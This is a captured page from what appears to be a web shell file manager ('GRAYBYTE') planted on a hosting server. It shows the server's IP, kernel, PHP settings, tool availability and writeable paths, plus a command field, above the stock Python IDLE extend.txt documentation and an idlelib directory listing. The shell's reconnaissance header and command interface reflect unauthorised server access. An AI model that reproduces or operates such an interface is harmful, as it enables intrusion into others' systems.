GRAYBYTE WORDPRESS FILE MANAGER3884

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python34/lib64/python3.4/idlelib/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python34/lib64/python3.4/idlelib//extend.txt
Writing an IDLE extension
=========================

An IDLE extension can define new key bindings and menu entries for IDLE
edit windows.  There is a simple mechanism to load extensions when IDLE
starts up and to attach them to each edit window. (It is also possible
to make other changes to IDLE, but this must be done by editing the IDLE
source code.)

The list of extensions loaded at startup time is configured by editing
the file config-extensions.def.  See below for details.

An IDLE extension is defined by a class.  Methods of the class define
actions that are invoked by event bindings or menu entries. Class (or
instance) variables define the bindings and menu additions; these are
automatically applied by IDLE when the extension is linked to an edit
window.

An IDLE extension class is instantiated with a single argument,
`editwin', an EditorWindow instance. The extension cannot assume much
about this argument, but it is guaranteed to have the following instance
variables:

    text	a Text instance (a widget)
    io		an IOBinding instance (more about this later)
    flist	the FileList instance (shared by all edit windows)

(There are a few more, but they are rarely useful.)

The extension class must not directly bind Window Manager (e.g. X) events.
Rather, it must define one or more virtual events, e.g. <<zoom-height>>, and
corresponding methods, e.g. zoom_height_event().  The virtual events will be
bound to the corresponding methods, and Window Manager events can then be bound
to the virtual events. (This indirection is done so that the key bindings can
easily be changed, and so that other sources of virtual events can exist, such
as menu entries.)

An extension can define menu entries.  This is done with a class or instance
variable named menudefs; it should be a list of pairs, where each pair is a
menu name (lowercase) and a list of menu entries. Each menu entry is either
None (to insert a separator entry) or a pair of strings (menu_label,
virtual_event).  Here, menu_label is the label of the menu entry, and
virtual_event is the virtual event to be generated when the entry is selected.
An underscore in the menu label is removed; the character following the
underscore is displayed underlined, to indicate the shortcut character (for
Windows).

At the moment, extensions cannot define whole new menus; they must define
entries in existing menus.  Some menus are not present on some windows; such
entry definitions are then ignored, but key bindings are still applied.  (This
should probably be refined in the future.)

Extensions are not required to define menu entries for all the events they
implement.  (They are also not required to create keybindings, but in that
case there must be empty bindings in cofig-extensions.def)

Here is a complete example:

class ZoomHeight:

    menudefs = [
        ('edit', [
            None, # Separator
            ('_Zoom Height', '<<zoom-height>>'),
         ])
    ]

    def __init__(self, editwin):
        self.editwin = editwin

    def zoom_height_event(self, event):
        "...Do what you want here..."

The final piece of the puzzle is the file "config-extensions.def", which is
used to configure the loading of extensions and to establish key (or, more
generally, event) bindings to the virtual events defined in the extensions.

See the comments at the top of config-extensions.def for information.  It's
currently necessary to manually modify that file to change IDLE's extension
loading or extension key bindings.

For further information on binding refer to the Tkinter Resources web page at
python.org and to the Tk Command "bind" man page.

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2024 08:31:37
root / linksafe
0755
Icons
--
May 20 2024 08:31:37
root / linksafe
0755
__pycache__
--
May 20 2024 08:31:37
root / linksafe
0755
idle_test
--
May 20 2024 08:31:37
root / linksafe
0755
AutoComplete.py
8.986 KB
April 17 2024 17:09:57
root / linksafe
0644
AutoCompleteWindow.py
17.323 KB
April 17 2024 17:09:57
root / linksafe
0644
AutoExpand.py
3.315 KB
April 17 2024 17:09:57
root / linksafe
0644
Bindings.py
2.975 KB
April 17 2024 17:09:57
root / linksafe
0644
CREDITS.txt
1.821 KB
March 18 2019 16:51:26
root / linksafe
0644
CallTipWindow.py
5.893 KB
April 17 2024 17:09:57
root / linksafe
0644
CallTips.py
5.793 KB
April 17 2024 17:09:57
root / linksafe
0644
ChangeLog
55.071 KB
March 18 2019 16:51:26
root / linksafe
0644
ClassBrowser.py
6.835 KB
April 17 2024 17:09:58
root / linksafe
0644
CodeContext.py
8.152 KB
April 17 2024 17:09:57
root / linksafe
0644
ColorDelegator.py
9.468 KB
April 17 2024 17:09:57
root / linksafe
0644
Debugger.py
18.319 KB
April 17 2024 17:09:57
root / linksafe
0644
Delegator.py
0.649 KB
April 17 2024 17:09:57
root / linksafe
0644
EditorWindow.py
64.511 KB
April 17 2024 17:09:57
root / linksafe
0644
FileList.py
3.724 KB
April 17 2024 17:09:57
root / linksafe
0644
FormatParagraph.py
7.116 KB
April 17 2024 17:09:58
root / linksafe
0644
GrepDialog.py
5.004 KB
April 17 2024 17:09:58
root / linksafe
0644
HISTORY.txt
10.075 KB
March 18 2019 16:51:26
root / linksafe
0644
HyperParser.py
12.575 KB
April 17 2024 17:09:57
root / linksafe
0644
IOBinding.py
19.31 KB
April 17 2024 17:09:57
root / linksafe
0644
IdleHistory.py
3.957 KB
April 17 2024 17:09:58
root / linksafe
0644
MultiCall.py
18.136 KB
April 17 2024 17:09:57
root / linksafe
0644
MultiStatusBar.py
1.316 KB
April 17 2024 17:09:57
root / linksafe
0644
NEWS.txt
38.901 KB
March 18 2019 16:51:26
root / linksafe
0644
ObjectBrowser.py
3.882 KB
April 17 2024 17:09:57
root / linksafe
0644
OutputWindow.py
4.291 KB
April 17 2024 17:09:58
root / linksafe
0644
ParenMatch.py
6.556 KB
April 17 2024 17:09:57
root / linksafe
0644
PathBrowser.py
3.132 KB
April 17 2024 17:09:57
root / linksafe
0644
Percolator.py
3.168 KB
April 17 2024 17:09:58
root / linksafe
0644
PyParse.py
19.981 KB
April 17 2024 17:09:57
root / linksafe
0644
PyShell.py
57.08 KB
April 17 2024 17:09:57
root / linksafe
0755
README.txt
7.528 KB
March 18 2019 16:51:26
root / linksafe
0644
RemoteDebugger.py
11.726 KB
April 17 2024 17:09:57
root / linksafe
0644
RemoteObjectBrowser.py
0.941 KB
April 17 2024 17:09:57
root / linksafe
0644
ReplaceDialog.py
6.484 KB
April 17 2024 17:09:57
root / linksafe
0644
RstripExtension.py
1.025 KB
April 17 2024 17:09:57
root / linksafe
0644
ScriptBinding.py
7.872 KB
April 17 2024 17:09:57
root / linksafe
0644
ScrolledList.py
4.272 KB
April 17 2024 17:09:57
root / linksafe
0644
SearchDialog.py
2.568 KB
April 17 2024 17:09:57
root / linksafe
0644
SearchDialogBase.py
6.845 KB
April 17 2024 17:09:57
root / linksafe
0644
SearchEngine.py
7.31 KB
April 17 2024 17:09:58
root / linksafe
0644
StackViewer.py
4.322 KB
April 17 2024 17:09:58
root / linksafe
0644
TODO.txt
8.279 KB
March 18 2019 16:51:26
root / linksafe
0644
ToolTip.py
3.099 KB
April 17 2024 17:09:58
root / linksafe
0644
TreeWidget.py
14.672 KB
April 17 2024 17:09:57
root / linksafe
0644
UndoDelegator.py
10.562 KB
April 17 2024 17:09:57
root / linksafe
0644
WidgetRedirector.py
6.708 KB
April 17 2024 17:09:57
root / linksafe
0644
WindowList.py
2.414 KB
April 17 2024 17:09:57
root / linksafe
0644
ZoomHeight.py
1.27 KB
April 17 2024 17:09:58
root / linksafe
0644
__init__.py
0.281 KB
April 17 2024 17:09:57
root / linksafe
0644
__main__.py
0.155 KB
April 17 2024 17:09:57
root / linksafe
0644
aboutDialog.py
6.531 KB
April 17 2024 17:09:57
root / linksafe
0644
config-extensions.def
2.896 KB
March 18 2019 16:51:26
root / linksafe
0644
config-highlight.def
2.456 KB
March 18 2019 16:51:26
root / linksafe
0644
config-keys.def
7.595 KB
March 18 2019 16:51:26
root / linksafe
0644
config-main.def
2.503 KB
March 18 2019 16:51:26
root / linksafe
0644
configDialog.py
62.798 KB
April 17 2024 17:09:57
root / linksafe
0644
configHandler.py
31.442 KB
April 17 2024 17:09:57
root / linksafe
0644
configHelpSourceEdit.py
6.514 KB
April 17 2024 17:09:57
root / linksafe
0644
configSectionNameDialog.py
3.913 KB
April 17 2024 17:09:57
root / linksafe
0644
dynOptionMenuWidget.py
1.943 KB
April 17 2024 17:09:57
root / linksafe
0644
extend.txt
3.557 KB
March 18 2019 16:51:26
root / linksafe
0644
help.html
40.162 KB
March 18 2019 16:51:26
root / linksafe
0644
help.py
9.474 KB
April 17 2024 17:09:57
root / linksafe
0644
help.txt
17.48 KB
March 18 2019 16:51:26
root / linksafe
0644
idle.py
0.391 KB
April 17 2024 17:09:57
root / linksafe
0644
idle.pyw
0.557 KB
March 18 2019 16:51:26
root / linksafe
0644
idlever.py
0.405 KB
April 17 2024 17:09:57
root / linksafe
0644
keybindingDialog.py
12.125 KB
April 17 2024 17:09:57
root / linksafe
0644
macosxSupport.py
8.48 KB
April 17 2024 17:09:57
root / linksafe
0644
rpc.py
20.295 KB
April 17 2024 17:09:57
root / linksafe
0644
run.py
13.353 KB
April 17 2024 17:09:57
root / linksafe
0644
tabbedpages.py
17.986 KB
April 17 2024 17:09:57
root / linksafe
0644
textView.py
3.149 KB
April 17 2024 17:09:57
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF